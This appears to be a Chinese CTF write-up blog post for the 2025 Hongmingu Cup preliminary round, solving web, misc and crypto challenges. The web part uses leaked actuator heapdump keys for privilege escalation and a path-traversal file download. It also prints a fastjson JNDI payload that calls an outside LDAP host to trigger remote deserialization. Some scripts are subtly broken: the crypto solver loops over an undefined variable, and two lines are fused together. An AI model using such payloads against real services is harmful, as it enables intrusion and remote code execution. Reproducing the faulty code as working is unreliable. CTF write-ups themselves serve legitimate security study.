Logo
Overview

2025 红明谷杯初赛部分题解

March 22, 2025

部分内容来自队友

web

日记本

利用dirsearch工具扫描发现一个登录路由和actuator泄露,还有swagger-ui.html

但是正常的注册/api/auth/v1/register无法成功,通过查看/actuator/mappings找到了/api/auth/v2/register这样的注册路由。

这样就可以注册了。登录进去后,api路由还有一个/api/auth/update,这里可以更新账户信息。我们利用actuator/heapdump工具拿到了key:

然后通过这个路由修改刚刚注册的账号为admin了

然后就可以查看admin的api,发现hint里是源码:

反编译源码后,查看依赖:

发现有fastjson1.2.26和CC3.2.1的依赖,可以通过jndi打ldap触发反序列化再打CC链。

在/api/admin/diaries路由可以触发fastjson反序列化。

执行一下/readflag就可以了

利用java-chians工具:

由于fastjson版本是1.2.26,又存在myBatis依赖

所以payload:

 {
   "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
   "properties":{
     "data_source":"ldap://114.132.61.17:50389/fb0a2a"
   }
 }

简单的仓库

注册用户1234:1234

登录后分析源码可以发现有文件展示功能以及重置和开通vip的功能,挨个抓包测试。

构造报文,进行测试,可以发现显示我们登录后对应账号的文件。

由此可以得到admin有哪些文件。

接着测试充值api可以发现带了权限字段,修改为admin即可充值成功。

利用充值后的余额开通vip,获得文件下载的功能。

根据url中的文件名和user参数下载文件,我们可以读取admin的readme文件。

发现flag路径,我们可以去/api/files验证一下。

是可以当做用户处理的。

访问/download/flag.txt?user=/var/tmp即可。

Misc

异常行为溯源

取log,在tcp层

 # from json import load
 from pyshark import FileCapture
 from base64 import b64decode
 from json import loads
 ​
 for packet in FileCapture(input_file="network_traffic.pcap", keep_packets=False):
 ​
     tcp = packet.tcp
     data = bytes.fromhex(tcp.payload.replace(":", "")).decode()
     data = b64decode(data).decode()
     data = loads(data)
     msg = data["msg"]
     type = data["type"]
     msg = b64decode(msg).decode().strip()
     print(msg)

直接统计ip频次就行了。

 import re
 from datetime import datetime
 logs = open("log.log").readlines()
 ​
 log_match = re.compile(r'(\d+\.\d+\.\d+\.\d+) ?- - \[(.*) \+\d+\] "(\w+) ([\w\/.-]+) HTTP\/1\.1" \d+ \d+ "-" ".*"')
 ip_maps = {}
 for log in logs:
     m = log_match.match(log)
     ip = m.group(1)
     time = m.group(2)
     time = datetime.strptime(time, "%d/%b/%Y:%H:%M:%S")
     method = m.group(3)
     url = m.group(4)
     # print(time_match.match(time).group())
     ip_maps[ip] = ip_maps.get(ip, 0) + 1# print()
 ip_maps = sorted(ip_maps.items(), key=lambda x: x[1], reverse=True)
 for ip, count in ip_maps:
     print(ip, count)
     break

数据校验

 from hashlib import md5
 from ecdsa import VerifyingKey, BadSignatureError
 from base64 import b64decode
 data = open("data.csv").readlines()[1:]
 data = [i.strip().split(",") for i in data]
 data = [{
     "Serial_Number": i[0],
     "UserName": i[1],
     "UserName_Check": i[2], # md5 hash for username
     "Password": i[3],
     "Password_Check": i[4], # md5 hash for password
     "IP": i[5],
     "Signature": i[6], # ecdsa sign for username.
 } for i in data]
 whitelist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
 lst = []
 for d in data:
     if d["UserName"][:5] != "User-":
         print(d["Serial_Number"], "UserName format Error")
         lst.append(d["Serial_Number"])
         continue
     if md5(d["UserName"].encode()).hexdigest() != d["UserName_Check"]:
         print(d["Serial_Number"], "UserName hash Error")
         lst.append(d["Serial_Number"])
         continue
     r = 0
     for i in d["Password"]:
         if i not in whitelist:
             print(d["Serial_Number"], "Password format Error")
             r = 1
             break
     if r == 1:
         lst.append(d["Serial_Number"])
         continue
     t = d["IP"].split(".")
     if len(t) != 4:
         print(d["Serial_Number"], "IP format Error")
         lst.append(d["Serial_Number"])
         continue
     r = 0
     for i in t:
         if not i.isdigit() or int(i) > 255:
             print(d["Serial_Number"], "IP format Error")
             r = 1
             break
     if r == 1:
         lst.append(d["Serial_Number"])
         continue
     if md5(d["Password"].encode()).hexdigest() != d["Password_Check"]:
         print(d["Serial_Number"], "Password hash Error")
         lst.append(d["Serial_Number"])
         continue
     try:
         vk = VerifyingKey.from_pem(open(f"ecdsa-key/{d['Serial_Number']}.pem").read())
         vk.verify(b64decode(d["Signature"]), d["UserName"].encode())
     except BadSignatureError:
         print(d["Serial_Number"], "Username Signature Error")
         lst.append(d["Serial_Number"])
 ​
 lst = list(set(lst))
 lst = sorted(lst)
 t = "_".join(lst)
 print(t)
 print("flag{" + md5(t.encode()).hexdigest() + "}")

Strange_Database

数据库内容

 from sqlite3 import connect
 from os import listdir
 from Crypto.PublicKey import RSA
 from Crypto.Cipher import PKCS1_OAEP
 from base64 import b64decode
 keys = listdir("key")
 ​
 keys = {int(key.split(".")[0].split("-")[1]):key for key in keys}
 # print(keys)
 for db_file in listdir("database"):
     ids = db_file.split(".")[0].replace("database-", "")
     key_file = f"key/{keys[int(ids)]}"
     password = key_file.split(".")[0].split("-")[2]
     # print(password)
     key = RSA.importKey(open(key_file).read(), passphrase=password)
     cipher = PKCS1_OAEP.new(key)
     db = connect(f"database/{db_file}")
     cursor = db.cursor()
     cursor.execute("SELECT * FROM sqlite_master WHERE type='table';")
     tables = cursor.fetchall()
     for table in tables:
         cursor.execute(f"SELECT * FROM {table[1]};")
         rows = cursor.fetchall()
         for row in rows:
             # print(,row[2])
             # print()
             type = cipher.decrypt(b64decode(row[0])).decode()
             number = row[1]
             name = cipher.decrypt(b64decode(row[2])).decode()
             password = cipher.decrypt(b64decode(row[3])).decode()
             remark = cipher.decrypt(b64decode(row[4])).decode()
             print(type, number, name, password, remark)
     db.close()

database里有enc和key字段的东西,应该就是flag相关了。

 lines = open("log.log").readlines()
 ​
 data = [line.split() for line in lines]
 d_map = {}
 for i in data:
     d_map[i[0]] = d_map.get(i[0],0) + 1print(d_map)
 lines = open("log.log").readlines()
 data = [line.split() for line in lines]
 enc = []
 key = []
 for i in data:
     if i[0] == "Enc":
         print(i)
         enc.append(i[-1])
     if i[0] == "Key":
         print(i)
         key.append(i[-1])

最后是rc4。

Crypto

qaq

很多参数已知

由于 Weil 配对 T 的值在某个小阶子群中,对 T 进行适当的指数运算后可以“消去”这个随机因素。

weil配对,参考文章:什么是weil配对 - 玩剑的Fiora - 博客园

构造一个新的数组有

 out=(output^qwq) mod p =(weil_pairing(P1,P2,qwq)^3*c)^(qaq*qwq)=c^(qaq*qwq) mod p

这里隐含Weil 配对 中的weil_pairing(P1,P2,qwq) 被指数运算后归一化为 1,从而使得加密操作对 c 仅留下一个可逆的指数变换。

只需要对原文2个字节(也就是16个二进制)的数字位进行爆破2^16位即可解密

from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
from sage.all import GF, EllipticCurve

res = [4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272555731,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556223,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556437,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272556749,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557237,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557459,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272557687,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558239,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272558627,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559239,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559523,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272559787,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560169,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560343,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560433,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560751,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272560969,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272561441,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562103,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272562601,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563261,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563297,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563391,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563511,
       4002409555221667393417789825735904156556882819939007885332058136124031650490837864442687629129015664037894272563711]
p = res[11]

output = [2258729984869869545899085887518820011795880892632317458813070773270633871398785757696896679887453336507722151037267,
          1843407310728065127389586068976768146728145160643439144895915852634291722663455873979176336542780552480617232750208,
          1107061034832953338095294459542523703297843192927313275050958753437078121375795698115353665062727895555487155331316,
          460337686287218470707660572908024613140030922587867288532588857547792028112129697850035268228038619747643899804437,
          1659483062154723617504533638726171721668768657049197025961515070605996080663312140357834824850074607457421362000265,
          3150528329201636320206556304125544975332446992414777732425647667048147102509308959254762895094589762017857965981432,
          3338854035461286314545186888372727000962778038359519702308782495912356677650264814573463929190025956045491115654437,
          3042574495339632074308497406446851120362994432361876743901608172567070991832258762751304397604780567703759317642849,
          380771388315580393673388198522357440257018642337119013880143084485482127962577943753495690258532782147018511750175,
          507222017133457507399048159541059729302482262298099528096040456818913085187752925782279385808732260473494863290057,
          533663958640518878580794848474449572155795564171089765377581587253792204491009275840408579120376539757958097910250,
          2681145160205204287930367627648683111546318004811732016137828270063753300095675791698398080219566725174890793619305,
          3259478178021541801713314504097142165241891541242669456591074651894459393333167453811425864198267757724232689747676,
          3553147298452254907907643059383506744982654808021508866104139240155822133286673657139615950259800036058045049186173,
          1778776925369812510137824472396145391840300438509021838870105004154301861222612045533034046889878767915343446874895,
          3409071358092535255033136229525415652816479844958949032220987821989305575696869929136493897719813036034016228268240,
          571819148781137687997336847709735468532344087614483867682513640750800758034003212746545051127998686475933050072942,
          2676666310158795770609746651024766841212271213339384335651155407291004834251914242990757216402110096603729617413168,
          2557670339976470006330058052583841683167706755578266425502679937976714609864257535859316483527764340425703004883241,
          973319024062640263364951783086923560907216776835485042157036675663719529568519121997200478026304141184810597275543,
          1189768012357955450386827626693191057999220508190415783719135619271537446794904663649700073564180453068646130539863,
          790522915783756530835443034667719516913120763875831140857606265058871034793645280121113275798239222760522467771184]

qwq = 0x320238b
K = GF(p)
E = EllipticCurve(K, (0, 4))
qaq = E.order() // (qwq ** 2)

out = [pow(i, qwq, p) for i in output]

flag_chars = []

for encrypted_value in tqdm(output1, desc="Decrypting blocks"):
    for i in range(1, 65536):
        decrypted_value = pow(i, qwq * qaq, p)

        if decrypted_value == encrypted_value:
            decoded_char = long_to_bytes(i).decode()
            flag_chars.append(decoded_char)
            break

flag = "".join(flag_chars)
print(flag)

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。